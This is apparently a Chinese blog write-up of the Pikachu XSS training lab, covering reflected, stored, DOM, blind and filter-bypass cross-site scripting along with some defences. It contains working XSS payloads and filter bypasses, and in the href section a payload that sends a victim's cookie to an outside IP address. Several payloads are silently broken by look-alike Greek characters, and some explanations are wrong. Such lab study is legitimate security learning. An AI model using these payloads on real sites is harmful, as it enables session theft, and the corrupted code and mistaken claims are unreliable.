当前位置: 首页 > news >正文

Pikachu靶场——Cross-Site Scripting

使用ubantu-linux虚拟机通过docker镜像本地搭建

一,反射型xss(get)

1,观察靶场环境,功能是提交你最喜欢的NBA球星

2,可以通过burp suite抓包分析一下

通过GET请求提交输入的姓名,这是及其危险的

3,尝试使用简单的payload判断有无XSS漏洞

发现对提交内容的字符串长度做出了限制,限制措施应该发生在前端

4,修改限制的maxlength之后再进行注入,payload:<script>alert('XSS')</script>

成功发生弹窗,可以再窃取用户的cookie,payload:<script>alert(document.write)</script>

发现无法窃取到cookie

二,反射型xss(post)

1,网站的功能是通过提交表单进行登录

burpsuite抓一个包查看一下请求

2,查看网页页面源代码,是否对用户提交的字符串进行了限制

没有出现maxlength,说明没有长度的限制,接下来就要判断XSS存在的注入点

3,username:<script>alert('XSS')</script>,password:1进行登录

4,结果出现error,那就反过来进行尝试username:1,password:<script>alert('XSS')</script>

还是发生了报错,查看提示

5,使用admin/123456进行登录,在里面的界面就能实现XSS攻击,payload:<script>alert('XSS')</script>

6,再通过XSS攻击语句窃取cookie,payload:<script>alert(document.cookie)</script>

三,存储型xss

1,观察页面提供一个留言板功能,这意味着用户输入的语句会被存储进数据库当中,如果开放人员没有对这个留言板的输入做严格的限制,一般是存在存储型XSS漏洞的

2,直接使用最简单的弹窗语句测试有无XSS漏洞,payload:<script>alert('XSS')</script>

3,果然能够弹窗,这验证了漏洞存在,直接打入payload去窃取用户cookie:<script>alert(document.cookie)</script>

因为是存储型的XSS路段,这个实现攻击的javascript语句是实实在在存在于服务器数据库当中的,只要有用户访问这个页面时,这个语句就会像定时炸弹一样触发。可以对payload进行改造,使得攻击者能够把登录用户的cookie发送到攻击者主机上

四,DOM型xss

什么是 HTML DOM?

HTML DOM 是 HTML 的标准对象模型和编程接口。它定义了:

  • 作为对象的 HTML 元素
  • 所有 HTML 元素的属性
  • 访问所有 HTML 元素的方法
  • 所有 HTML 元素的事件

换言之:HTML DOM 是关于如何获取、更改、添加或删除 HTML 元素的标准。

1,dom型XSS一般伴随着javascript编写在页面源代码的一些交互界面,比如"click me"

查看页面源代码也能够验证这一点

2,那么留言DOM型XSS漏洞的方法就是利用javascript库中丰富的功能标签,payload:

'><img src=x οnerrοr='alert('XSS')

Self DOM XSS(自我DOM型XSS)是一种特殊类型的DOM型XSS攻击。在这种攻击中,恶意代码并不来自外部攻击者,而是来自用户自己或网站的同一页面。攻击者利用客户端的JavaScript来注入并执行恶意代码,通常是在页面动态操作DOM时发生的。

Self DOM XSS的概念

在Self DOM XSS攻击中,恶意脚本代码不是通过URL参数、表单提交或其他外部源注入的,而是通过对当前页面的JavaScript操作、用户输入或浏览器自带的行为来触发。最常见的情况是,当用户将恶意代码作为输入内容(如通过复制黏贴)插入到页面时,JavaScript代码未经适当过滤直接在页面上执行,从而导致攻击。

Self DOM XSS的示例

假设页面使用innerHTML或类似方法将用户输入直接插入到DOM中。如果攻击者通过复制并粘贴恶意脚本到输入框,代码将被插入并执行:

<input type="text" id="user-input">
<button οnclick="document.getElementById('user-input').innerHTML = document.getElementById('user-input').value">Submit</button>

如果用户(攻击者)粘贴以下恶意代码:

<script>alert('Self DOM XSS')</script>

此时,攻击者输入的脚本被插入到页面中并执行。尽管代码是由同一页面的用户生成的,但其效果与常规的DOM型XSS攻击没有区别。

为什么要结合复制黏贴劫持?

复制黏贴劫持(Clipboard Hijacking)是一种攻击手段,攻击者通过操控用户的剪贴板内容来进行XSS攻击。在Self DOM XSS场景中,攻击者可以通过诱使用户复制并粘贴恶意代码来实现攻击。例如,攻击者可以在钓鱼网站或邮件中嵌入一个包含恶意脚本的文本。当用户不小心将这些内容复制到剪贴板,并粘贴到目标网站的输入框或文本框时,恶意脚本就会被执行,造成XSS攻击。

这种攻击方式的关键在于:

  1. 用户复制粘贴恶意内容:攻击者通过社交工程手段诱使用户复制包含恶意JavaScript的文本或HTML内容。
  2. 页面直接处理不安全的输入:页面将用户输入的内容直接插入到DOM中(如通过innerHTML或document.write),未对输入进行适当的过滤和转义。

这种结合复制黏贴劫持的Self DOM XSS攻击,往往难以被防范,因为攻击者并没有直接操控用户的输入,而是依赖用户的无意行为(如复制粘贴)。此外,如果页面没有进行适当的安全检查或输入验证,攻击者就能轻松发起攻击。

防护措施

为了防止Self DOM XSS和复制黏贴劫持攻击,可以采取以下措施:

  1. 避免使用innerHTML:使用更安全的方式来处理DOM,如textContent,它不会解析HTML标签。
  2. 对所有用户输入进行过滤和转义:确保所有的用户输入都经过严格的转义,防止恶意代码注入。
  3. CSP(内容安全策略):通过实施CSP,限制脚本的来源,防止不可信的脚本执行。
  4. 避免执行未经验证的脚本:在处理用户输入时,不要直接执行或插入脚本,尤其是在表单、输入框等地方。

五,DOM型xss-x

1,功能和上一模块一样,只不过这次的输入语句直接拼接到了url栏里面

2,尝试输入payload,<script>alert('XSS')</script>

发现没有反应,大概是被注释掉了

3,真正的攻击语句,payload:'><img src=x οnerrοr='alert('XSS')

基于URL的DOM型XSS是一种DOM型XSS攻击的变种,其中恶意的JavaScript代码是通过URL的查询参数或片段标识符(URL hash)注入的。攻击者利用浏览器解析并动态操作页面的JavaScript,使得注入的恶意脚本能够在客户端执行。

攻击原理

在这种类型的攻击中,恶意代码通常存在于URL中的查询参数(?后面的部分)或哈希(#后面的部分)。这些数据会被浏览器的JavaScript代码读取并插入到页面的DOM中。如果页面的JavaScript代码没有正确处理用户输入,恶意脚本可能会在用户的浏览器上执行。

典型的攻击流程:

  1. 攻击者将恶意JavaScript代码嵌入到URL的查询字符串或哈希部分。
  2. 目标页面的JavaScript从URL中获取数据并将其插入DOM中。
  3. 如果数据没有经过足够的过滤或转义,恶意脚本就会被执行。

攻击示例

假设一个网页通过window.location.hash或window.location.search获取用户输入的查询参数并动态更新页面内容。如果没有足够的验证,攻击者可以注入恶意JavaScript代码。

1. 通过URL查询参数注入

如果页面的JavaScript代码通过document.getElementById('content').innerHTML = window.location.search;来将URL查

询字符串插入到DOM中,那么攻击者可以利用以下URL进行攻击:

http://example.com/page?name=<script>alert('XSS')</script>

如果页面没有对name参数进行任何过滤,<script>alert('XSS')</script>会被插入到DOM并执行。

2. 通过URL哈希(#)注入

攻击者还可以通过URL的哈希部分进行注入:

http://example.com/page#<script>alert('XSS')</script>

如果页面的JavaScript代码依赖于哈希部分(如通过window.location.hash获取数据),并直接将其插入DOM,则恶意脚本会被执行。

3. 通过URL路径部分注入

虽然路径部分不像查询参数和哈希那样直接被插入到DOM中,但如果页面没有适当地处理URL路径,也可能遭受XSS攻击。例如:

http://example.com/page/<script>alert('XSS')</script>

如果页面的JavaScript代码将路径的一部分作为内容插入到DOM中并没有正确转义,也可能引发XSS漏洞。

六,xss盲打

1,观察网站提供的功能推测应该是存储型XSS漏洞

2,存在着两个提交表达的地方,这就需要进行测试判断注入点。查看一下提示

3,找到登录页面

4,admin/123456登录进去就是用户反馈的意见列表

5,那么就要判断注入点在哪里

在评论输入框填写payload:<script>prompt(document.cookie)</script>

在输入名字的地方填写payload:<script>console.log(document.cookie)</script>

一进去就发生了弹窗,说明弹框的这个说明输入评论的地方是注入点。开发者工具的控制台(Console)中有显示cookie说明输入名字的地方也是注入点

XSS盲打(Blind XSS)是一种特殊类型的XSS攻击,其中攻击者并不直接观察到恶意代码执行的结果,而是通过某些手段间接地触发和利用XSS漏洞。盲打攻击通常发生在目标应用程序没有即时反馈给攻击者的情况下,或者恶

意代码的执行并不会直接展示在攻击者的界面上。攻击者通过推测应用行为和结果,逐步完善攻击。

盲打XSS的工作原理

盲打XSS攻击的关键特点是攻击者并不直接看到攻击的结果,而是通过间接方式(例如发送恶意负载给受害者或

系统)来推测XSS漏洞是否存在。常见的盲打XSS攻击包括:

  1. 通过POST请求或后台接口注入XSS:攻击者可能通过表单提交、API请求、后台管理面板等接口注入恶意代码。虽然攻击者本身看不到即时的反馈,但这些输入可能会反映到其他地方(如管理员面板、日志文件、用户反馈等)。
  2. 利用目标系统的跨站点脚本执行:在某些情况下,攻击者会将恶意脚本注入到某个系统(如管理员界面、邮件通知等),该系统可以从被攻击者那里触发恶意脚本的执行。由于攻击者没有直接的可视化反馈,因此需要猜测结果。

盲打XSS的技巧

1. 通过后台管理界面或日志文件

许多应用程序在后台管理系统或日志文件中记录用户输入。攻击者通过注入恶意JavaScript代码,可能使管理员查看日志时触发XSS攻击。攻击者可以利用以下方法:

  • 向系统的表单、评论、消息等输入框中提交含有恶意JavaScript代码的数据。
  • 在没有立即反馈的情况下,推测该输入是否被记录。
  • 如果有管理员查看日志或管理后台,恶意代码可能被执行。

例如,如果管理员查看评论或提交的记录时,注入的脚本可能会执行:

<script>alert('XSS')</script>

2. 通过攻击目标用户的邮箱

如果应用程序中存在XSS漏洞,攻击者可以将恶意脚本嵌入到系统发送的电子邮件中。攻击者不能立即看到该邮件的效果,但一旦用户打开邮件并点击邮件中的链接或加载的动态内容,恶意脚本就会被执行。这种方式常常用

于绕过防护措施并触发XSS。

3. 利用第三方服务进行盲打

在某些情况下,攻击者可以通过利用第三方服务(如社交平台、外部API等)进行盲打XSS。攻击者将恶意脚本发送到外部平台,依赖平台后续操作(如日志查看、管理员互动等)来间接触发脚本。

4. 基于时间的盲打(Time-based Blind XSS)

在某些情况下,攻击者并不能看到脚本执行的直接结果,但可以利用时间差异来推测攻击是否成功。这种方式可以通过创建包含alert的恶意代码,并依赖时间间隔来推测。例如,通过提交含有恶意脚本的表单,等待系统响应时间的变化:

<script>
    setTimeout(function() {
        alert('XSS');
    }, 5000); // 等待5秒后触发
</script>

通过观察时间延迟,攻击者可以推测是否存在XSS漏洞。

5. 利用DOM操作进行盲打

攻击者可以通过注入动态修改DOM的脚本来实现盲打XSS。例如,在一个输入框或搜索框中注入恶意脚本,通过后续的DOM变化(如搜索结果、用户输入等)来执行攻击代码。攻击者不能立即看到结果,但可以通过推测目标页面的行为来间接判断XSS是否成功。

6. 利用WebSockets或Ajax请求

攻击者可以注入恶意脚本,通过WebSocket或AJAX请求发送数据到目标服务器。如果应用程序未对数据进行适当验证或清理,攻击者的恶意代码就会被服务器处理并反射到其他用户的浏览器中。这种方式不会立即显示攻击结果,但可以通过其他手段(如观察日志、推测行为)来确认是否成功。

七,xss之过滤

1,观察网站,这里提供了一个submit功能

2,输入<script>alert(‘XSS')</script>,这里是对输入的恶意语句进行了过滤

3,尝试判断过滤机制:<script>>alert('XSS')</script>>

推测把>前面的<script全部过滤了,那就不要用<script>标签了,用<img>标签试试,输入payload:

<img src="#"οnerrοr=alert(document.cookie)>

4,查看源代码分析一下过滤机制,然后构造payload

代码解析:

  1. 过滤目标:试图匹配任何形式的<script>标签变体
  2. 正则逻辑:通过(.*)通配符:
  • 允许任意字符出现在字母之间(包括空字符)
  • 匹配类似<sCRipt><s\tcript>等变形写法
  1. 过滤方式:将匹配内容替换为空字符串(彻底删除)

要绕过这段代码中的XSS过滤机制,可以利用正则表达式过滤的不足,使用其他HTML标签或事件处理属性来执行JavaScript。以下是具体的步骤和Payload:

Payload构造思路:

  1. 避免使用<script>标签: 正则表达式主要针对<script>标签进行过滤,但未处理其他标签。
  2. 利用事件处理属性: 使用如onerroronload等事件属性触发JavaScript执行。
  3. 闭合单引号并插入新标签: 输入中包含单引号闭合原属性,插入新标签以执行脚本。

有效Payload示例:

  • 使用<img>标签的onerror事件:
    <img src=x οnerrοr=alert(1)>
    当图片加载失败时,
    onerror事件触发执行JavaScript。
  • 使用<svg>标签的onload事件:
    <svg οnlοad=alert(1)>
    SVG标签加载时触发
    onload事件执行脚本。
  • 闭合单引号并插入标签:
    '><img src=x οnerrοr=alert(1)>
    闭合原单引号后插入新标签,确保HTML结构正确解析。

绕过分析:

  • 正则表达式preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message'])旨在过滤<script>标签的变种,但未考虑大小写和其他标签。
  • 使用非<script>标签(如<img><svg>)不受正则过滤影响,能够直接注入到HTML中执行。

验证Payload:

提交以下URL参数触发XSS:

http://example.com/xss_01.php?message=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E&submit=submit

或直接在输入框中输入Payload:

<img src=x οnerrοr=alert(1)>

页面将解析该标签并执行JavaScript,弹出警告框,证明XSS漏洞被成功利用。

1. 大写字母标签变形(利用正则大小写敏感缺陷)

<SCrIpt>alert(1)</ScRipt>

绕过原理:正则未使用i修饰符,无法匹配大小写变形

2. 伪协议高级利用

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">

八,xss之htmlspecialchars

PHP中htmlspecialchars()函数

核心功能

将特殊字符转换为HTML实体,防止XSS攻击

$safe_output = htmlspecialchars(
    $input,
    ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5,
    'UTF-8'
);

参数详解

参数

推荐值

安全作用

flags

ENT_QUOTES

转义单双引号

ENT_SUBSTITUTE

替换无效编码字符

ENT_HTML5

遵循HTML5编码标准

encoding

UTF-8

必须与页面编码一致

转义对应表

原始字符

转义结果

防御场景

<

&lt;

阻断HTML标签创建

>

&gt;

防止标签闭合

"

&quot;

防御属性值逃逸(双引号)

'

&#x27;

防御属性值逃逸(单引号)

&

&amp;

防止实体编码绕过

高危使用场景

1. 未正确设置引号转义

// 危险写法:不转义单引号
echo '<div title='.htmlspecialchars($input).'>';

攻击Payload

' οnclick='alert(1)

2. JavaScript上下文误用

<script>
// 错误:在JS变量中使用HTML转义
var data = "<?= htmlspecialchars($_GET['data']) ?>";
</script>

Payload

";alert(1);//

防御方案

// 正确:使用JSON编码
var data = <?= json_encode($data, JSON_HEX_TAG|JSON_HEX_APOS) ?>;

3. URL属性未校验协议

<a href="<?= htmlspecialchars($url) ?>">链接</a>

Payload

javascript:alert(document.cookie)

防御方案

// 增加协议白名单校验
if(!preg_match('/^(https?:)/i', $url)){
    $url = '#';
}

1,输入一个 <script>alert(1)</script> 进行尝试,果然攻击不能成功

2,分析源代码,寻找绕过方法

防御机制分析

$message = htmlspecialchars($_GET['message']);
$html2 .= "<a href='{$message}'>{$message}</a>";

防御缺陷

  1. 未启用ENT_QUOTES:默认只转义双引号("),不处理单引号('),但href属性使用单引号包裹
  2. 未过滤协议类型:允许javascript:伪协议直接输出到href属性
  3. 未验证URL格式:缺少协议白名单校验

绕过Payload集合

1. 属性逃逸攻击

Payload

' οnclick='alert(1)//

生成结果

<a href='' οnclick='alert(1)//'>' οnclick='alert(1)//</a>

触发方式:点击链接时执行

2. <button οnclick="someFunction()#' οnclick='alert(1)'">Click me</button>

浏览器会解析这个 <button> 元素,并且由于 #' 打破了现有的 onclick 属性,它会将 οnclick='alert(1)' 视为一个独立的 JavaScript 事件处理程序。这样,当用户点击按钮时,alert(1) 会被执行,导致一个弹出框显示。

onclick属性值被双引号包裹,内容为 someFunction()#' οnclick='alert(1)'

  1. 攻击者意图
  • 试图通过注入单引号 ' 闭合原有的双引号 ",插入新的 onclick 事件。
  1. HTML解析规则
  • 属性值由包裹它的引号类型决定闭合。双引号包裹的属性中,单引号视为普通字符,不会闭合属性。
  1. 实际解析结果
  • 浏览器会将整个 someFunction()#' οnclick='alert(1)' 视为 onclick 属性的值,不会执行 alert(1)
  • 生成的JavaScript代码为:
    someFunction()#' οnclick='alert(1)
    这会导致语法错误,
    # 后的内容被当作注释,οnclick='alert(1)' 成为无效代码。
  1. 验证测试
  • 创建测试页面并点击按钮,发现未触发 alert(1),控制台报语法错误。
  1. 漏洞有效性
  • 攻击失败:因引号类型不匹配,注入的单引号无法闭合双引号包裹的属性。
  • 错误触发:错误语法导致原功能失效,但未执行恶意代码。

九,xss之href输出

href 是 HTML 中用于指定超链接的属性,通常用于 <a> 标签中。它用于指向一个目标 URL(Uniform Resource Locator),可以是网页、图片、下载文件等。当用户点击链接时,浏览器会跳转到 href 中指定的目标地址。

示例 1: 基本的超链接

<a href="https://www.example.com">Click here to visit Example.com</a>

在这个例子中,当用户点击 Click here to visit Example.com 文本时,浏览器将跳转到 Example Domain。

示例 2: 指向页面内的锚点

<a href="#section1">Go to Section 1</a>
...
<div id="section1">This is Section 1</div>

这里,href="#section1" 会将页面跳转到 ID 为 section1 的部分(即 <div id="section1">)。

示例 3: 使用 JavaScript 进行跳转

<a href="javascript:void(0);" οnclick="alert('You clicked the link!')">Click me</a>

这种形式的 href 值通常用于防止页面跳转或执行特定的 JavaScript 代码。javascript:void(0); 使得点击链接时不会跳转页面,而是执行 onclick 事件中的 JavaScript。

示例 4: 用于邮件链接

<a href="mailto:someone@example.com">Send Email</a>

这个 href 值使用 mailto: 协议,点击后会弹出邮件客户端,自动填充收件人邮箱。

示例 5: 用于文件下载

<a href="files/sample.pdf" download>Download PDF</a>

使用 download 属性,浏览器将尝试下载 sample.pdf 文件,而不是打开它。

输出到页面

如果你希望通过 PHP 动态输出一个 href 链接,可以用 echo 或 print:

<?php
$link = "
Example Domain";
echo "<a href='" . $link . "'>Visit Example.com</a>";
?>

这段代码会在浏览器中输出一个指向 https://www.example.com 的链接。

 

1,查看页面源代码,分析防御方式并且构造payload

防御机制分析

$message = htmlspecialchars($_GET['message'], ENT_QUOTES); // 转义单双引号
$html = "<a href='{$message}'>链接</a>"; // 输出到href属性

防御特性

  1. ENT_QUOTES参数:转义单引号('&#039;)和双引号("&quot;
  2. 字符编码:默认UTF-8编码,防止多字节绕过

防御缺陷

  1. 未校验协议类型:允许javascript:伪协议直接输出
  2. 无协议白名单:未限制http/https/ftp等安全协议
  3. 未过滤HTML5新协议:如data:协议可绕过

 

绕过Payload集合

1. 基础JavaScript伪协议

javascript:alert(document.domain)

生成结果

<a href='javascript:alert(document.domain)'>链接</a>

触发方式:点击链接直接执行

 

2.  分号截断攻击

javascript:location.href='http://192.168.23.182:8000?cookie='+document.cookie;//

数据窃取:跳转到攻击者站点携带用户Cookie

十,xss之js输出

代码核心部分分析

漏洞代码段

$jsvar = $_GET['message'];
// ...
<script>
    $ms = '<?php echo $jsvar; ?>';
</script>

防御方式

  • 无有效防御:直接输出未转义的用户输入到 JavaScript 字符串中
  • 错误尝试:注释显示开发者曾考虑使用 htmlspecialchars(ENT_QUOTES),但担心破坏前端功能未实施

漏洞利用分析

攻击面特征:

  1. 输出位置:用户输入直接嵌入 JavaScript 字符串(单引号包裹)
  2. 可注入点:可闭合字符串执行任意 JS 代码
  3. 未过滤字符:单引号、反斜杠、分号等关键符号

 

有效 Payload 集合

1. 基础闭合攻击

';alert(1);//

生成代码

$ms = '';alert(1);//';

触发效果:直接弹出警告框

 

2.  DOM 劫持攻击

';document.body.innerHTML='<h1>Hacked</h1>';//

页面破坏:完全替换页面内容

 

漏洞验证步骤

  1. 输入基础 Payload
    ';alert(document.domain);//
  2. 观察浏览器行为
  • 检查是否弹出包含当前域名的警告框
  • 查看控制台是否报语法错误
  1. 网络监控
  • 使用开发者工具查看是否发送了非法请求
  • 监控 evil.com 服务器是否收到数据

 

 

 

 

 

相关文章:

Pikachu靶场——Cross-Site Scripting

使用ubantu-linux虚拟机通过docker镜像本地搭建 一&#xff0c;反射型xss(get) 1&#xff0c;观察靶场环境&#xff0c;功能是提交你最喜欢的NBA球星 2&#xff0c;可以通过burp suite抓包分析一下 通过GET请求提交输入的姓名&#xff0c;这是及其危险的 3&#xff0c;尝试使用…...

ArkTS组件的三个通用(通用事件、通用属性、通用手势)

文章目录 通用事件点击事件 onClick触摸事件 onTouch挂载、卸载事件拖拽事件按键事件 onKeyEvent焦点事件鼠标事件悬浮事件组件区域变化事件 onAreaChange组件尺寸变化事件组件可见区域变化事件组件快捷键事件自定义事件分发自定义事件拦截 通用属性尺寸设置位置设置布局约束边…...

双token实现无感刷新

一、方案说明 1. 核心流程 ​用户登录​ 提交账号密码 → 服务端验证 → 返回Access Token&#xff08;前端存储&#xff09; Refresh Token&#xff08;HttpOnly Cookie&#xff09; ​业务请求​ 请求头携带Access Token → 服务端验证有效性 → 有效则返回数据 ​Token过…...

UE5游戏分辨率设置和窗口模式

第一种方法: 在项目配置Config文件夹下新建 DefaultGameUserSettings.ini 输入代码 [/Script/Engine.GameUserSettings] bUseVSyncFalse ResolutionSizeX1960 ResolutionSizeY1080 LastUserConfirmedResolutionSizeX800 LastUserConfirmedResolutionSizeY600 WindowPosX-1 …...

Java 线程中断 Interrupted

线程中断是 Java 中的一种协作机制&#xff0c;用于通知线程应该停止当前工作并退出。 中断就好比其它线程跟当前线程打了个招呼&#xff0c;告诉他可以执行中断操作。其他线程通过调用该线程的interrupt()方法对其进行中断操作。 中断并不会直接终止线程&#xff0c;而是设置…...

Android Jetpack是什么与原生android 有什么区别

Android Jetpack是什么 Android Jetpack是Google推出的一套开发组件工具集,旨在帮助开发者更高效地构建高质量的Android应用。它包含多个库和工具,被分为架构、用户界面、行为和基础四大类。以下是一些Android Jetpack的示例: 架构组件 ViewModel:用于以生命周期的方式管理…...

从0~1写一个starer启动器

从0到1编写一个Spring Boot Starter 前言 使用过Spring框架的伙伴都知道&#xff0c;虽然Spring在一定程度上帮助我们简化了集成其他框架&#xff0c;但在集成框架的同时仍少不了大量的XML配置&#xff0c;这些繁琐的工作无疑会加重我们的工作任务。而Spring Boot相较于Sprin…...

prime-2 靶场笔记(vuInhub靶场)

前言&#xff1a; 在本次靶场环境中涉及的知识点&#xff0c;主要包含LFI和SMB以及Lxd组提权&#xff0c;具体内容包括主机探测、端口扫描、目录扫描、wpscan扫描、反弹shell、一句话木马、容器、linux各种提权和维持。 环境介绍&#xff1a; 本靶场使用了kali&#xff08;192…...

Node.js 中的 Buffer(缓冲区)

下面是关于 Node.js 中的 Buffer&#xff08;缓冲区&#xff09; 的系统总结&#xff0c;涵盖了定义、创建、读取修改、溢出处理、中文编码问题以及字符串转换等关键用法&#x1f447; &#x1f9f1; 一、什么是 Buffer&#xff1f; Buffer 是 Node.js 提供的用于处理二进制数…...

如何学习嵌入式

写这个文章是用来学习的,记录一下我的学习过程。希望我能一直坚持下去,我只是一个小白,只是想好好学习,我知道这会很难&#xff0c;但我还是想去做&#xff01; 本文写于&#xff1a;2025.04.16 请各位前辈能否给我提点建议&#xff0c;或者学习路线指导一下 STM32单片机学习总…...

高版本Android (AIDL HAL) 使用HIDL方法

目录 修改步骤和编译方法 注意事项 Android 11 引入了使用 AIDL 实现 HAL 的功能。 后续Android新版本,HAL默认切到了使用AIDL. 因此当导入旧HIDL实现方式时,需要做一些修改。 1.将HAL HIDL模块拷贝到相应目录,进行编译 source build/envsetup.sh lunch xxx mmm 模块路径 1.…...

Cribl (实验) vpc-flow 数据抽样

先看文档: Firewall Logs: VPC Flow Logs, Cisco ASA, Etc. | Cribl Docs Firewall Logs: VPC Flow Logs, Cisco ASA, Etc. Recipe for Sampling Firewall Logs Firewall logs are another source of important operational (and security) data. Typical examples include Ama…...

RK3568 更换显示logo

文章目录 1、环境介绍2、替换logo 1、环境介绍 硬件&#xff1a;飞凌ok3568-c开发板 软件&#xff1a;原厂rk356x sdk 屏幕&#xff1a;1024*600 hdmi屏 2、替换logo 这是一件提无语的事。本来替换logo是很平常的一件事。即替换kernel目录下的logo图片即可&#xff1a; 但…...

修改wsl中发行版Ubuntu的主机名

我wsl2中装了两个ubuntu的发行版本&#xff0c;默认下主机名和我的windows主机名都一样&#xff0c;而且包含大写字母&#xff0c;在配置其他应用时经常会出问题&#xff0c;按照下面的顺序修改了一下&#xff1a; 1、打开ubuntu发行版 现在显示包含大写字母和数字的主机名。 …...

Python学习之路(三)

将 Python 与数据库对接是开发过程中常见的任务&#xff0c;可以使用多种数据库&#xff08;如 SQLite、MySQL、PostgreSQL、Oracle、MongoDB 等&#xff09;。以下是一些常见的数据库及其与 Python 的对接方法&#xff0c;包括安装库、连接数据库、执行查询和操作数据的示例。…...

多功能门禁系统的设计

本课题为多功能门禁系统的设计&#xff0c;其系统架构如图2.1所示&#xff0c;整个系统由STM32F103单片机和MaixBit开发板两部分构成&#xff0c;其中MaixBit是基于K210芯片的开发板&#xff0c;在此主要负责人脸的录入&#xff0c;识别&#xff0c;液晶显示等功能&#xff0c;…...

C/C++---头文件保护机制

在 C 和 C 编程里&#xff0c;头文件保护机制是一种防止头文件被重复包含的技术&#xff0c;它主要借助 #ifndef、#define 和 #endif 这些预处理指令来达成&#xff0c;也可以使用 #pragma once 这一编译器特定指令。下面详细阐述这一机制&#xff1a; 1. 头文件重复包含的问题…...

双指针算法(一)

目录 一、力扣——283、移动零 二、力扣——1089、复写零 三、力扣——11、盛最多的水 四、力扣——202、快乐数 一、力扣——283、移动零 题目如下&#xff1a; 这里我们用双指针算法&#xff0c;用的是双指针的思想&#xff0c;我们在这道题在数组下操作可以用数组下标。…...

LNMP架构部署论坛

目录 1.安装Nginx服务 1.系统初始化​ 2.安装工具包及依赖包 3.创建运行用户​ 4.编译安装​ 5.优化路径​ 6.添加 Nginx 系统服 2.安装MySQL服务 1.确定GLIBC版本 2.上传二进制压缩包并解压​ 3. 创建运行用户​ 4. 创建 mysql 配置文件 5.更改mysql安装目录和配…...

微信小程序边框容器带三角指向

效果图 .wxml <view class"tb"><view class"tb-pointer" style"--n:{{n}}rpx;" /> </view> <button bind:tap"addPixel">增加三角一个像素</button>.js Page({data: {n:16,},addPixel(){this.setData…...

RISCV Hardware Performance Monitor 和 Sscofpmf 扩展

文章目录 前言RISCV的HPMSscofpmf 扩展总结 前言 Perf 全名是 Performance Event&#xff0c;应用可以利用 PMU (Performance Monitoring Unit)、tracepoint 和核心内部的特殊计数器&#xff08;counter&#xff09;来进行统计&#xff0c;另外还能同时分析运行中的核心代码&a…...

MATLAB脚本实现了一个三自由度的通用航空运载器(CAV-H)的轨迹仿真,主要用于模拟升力体在不同飞行阶段(初始滑翔段、滑翔段、下压段)的运动轨迹

%升力体:通用航空运载器CAV-H %读取数据1 升力系数 alpha = [10 15 20]; Ma = [3.5 5 8 10 15 20 23]; alpha1 = 10:0.1:20; Ma1 = 3.5:0.1:23; [Ma1, alpha1] = meshgrid(Ma1, alpha1); CL = readmatrix(simulation.xlsx, Sheet, Sheet1, Range, B2:H4); CL1 = interp2(…...

GIS开发笔记(4)结合osg及osgEarth实现地图选点功能

一、实现效果:在地球上点击某个点后,显示该点的坐标。 二、实现原理: viewer添加事件处理器类,类中响应鼠标左键事件,获取坐标点显示。 三、参考代码: #pragma once#include <osgGA/GUIEventHandler> #include...

halcon模板匹配(五)find_shape_model_clutter

目录 一、find_shape_model_clutter例程目的二、默认模板匹配的过程三、定义杂波区域四、设置模型的杂波区域 一、find_shape_model_clutter例程目的 如下图所示&#xff0c;这个例程是想找到左图所示区域内的目标&#xff0c;要求上下临近区域无目标。 默认参数匹配结果 二…...

openGauss使用指南与SQL转换注意事项

openGauss 使用指南与SQL转换注意事项 基本说明 openGauss数据库内核基于PostgreSQL(pgsql)&#xff0c;因此可以将SQL Server语句转换为pgsql语句。可以使用AI工具辅助转换&#xff0c;但需注意以下关键差异点。 数据类型转换注意事项 字符串类型处理 nvarchar转换&#…...

前端基础之《Vue(5)—组件基础》

一、什么是组件化 1、理解组件化 组件是HTML的扩展&#xff0c;使用粒度较小的HTML元素封装成粒度更大的标签&#xff08;Vue组件&#xff09;。可以实现快速开发、代码复用、提升可维护性。 相当于盖房子&#xff0c;用预制板&#xff0c;不是用一块块砖&#xff0c;一天可以…...

责任链模式(Chain of Responsibility Pattern)

责任链模式(Chain of Responsibility Pattern)是一种行为型设计模式,它允许将请求沿着处理者链进行传递,直到有一个处理者能够处理该请求为止。在这个模式中,多个处理者对象会形成一个链条,每个处理者都有机会处理请求,或者将请求传递给链条中的下一个处理者。这种模式将…...

C++算法(9):数组作为函数参数,注意事项与实践

C编程中&#xff0c;数组作为函数参数传递是一个常见但容易出错的操作。本文将详细介绍数组作为函数参数时需要注意的关键问题&#xff0c;帮助开发者避免常见的陷阱。 主要注意事项 1. 数组作为参数的本质 参数声明形式实际传递内容大小信息int arr[]数组首地址丢失int arr[…...

特性(Attribute)

特性&#xff08;Attribute&#xff09;的概念 定义 特性是用于向代码元素&#xff08;类、方法、属性等&#xff09;添加元数据的类&#xff0c;继承自 System.Attribute。 元数据提供程序化的描述信息&#xff0c;供运行时或工具&#xff08;如编译器、反射&#xff09;使…...

使用CubeMX新建SysTick延时函数工程——使用中断,不使用HAL_Delay

具体操作步骤看这里&#xff1a;STM32CubeMX学习笔记&#xff08;4&#xff09;——系统延时使用_cubemx systick-CSDN博客 1、SysTick 初始化函数 SysTick 初始化函数由用户编写&#xff0c;里面调用了 SysTick_Config() 这个固件库函数&#xff0c;通过设置该固件 库函数的形…...

从零开始实现 MobileViT 注意力机制——轻量级Transformer Vision Model 的新思路

从零开始实现 MobileViT 注意力机制——轻量级Transformer Vision Model 的新思路 近年来&#xff0c;计算机视觉领域中 Transformer 模型的崛起为图像处理带来了新的活力。特别是在 ViT&#xff08;Vision Transformer&#xff09;模型提出之后&#xff0c;Transformer 在图像…...

Doris部署生产集群最低要求的部署方案

Doris生产集群最低部署方案&#xff08;2025年4月版&#xff09; 一、节点规划与数量 1. FE节点&#xff08;Frontend&#xff09; 数量&#xff1a;至少 3个节点&#xff08;1个Follower 2个 Observer&#xff09;&#xff0c;确保高可用&#xff08;HA&#xff09;。角色分…...

如何实现“一机两用” 寻求安全与效率的完美平衡

#### 一机两用的背景 在数字化时代&#xff0c;无论是企业还是政府部门&#xff0c;都面临着既要处理内部敏感数据&#xff0c;又要访问互联网获取资源的双重需求。这种需求催生了“一机两用”的模式&#xff0c;即同一台终端设备既要连接内网处理核心业务&#xff0c;又要能够…...

楼宇自控系统如何为现代建筑打造安全、舒适、节能方案

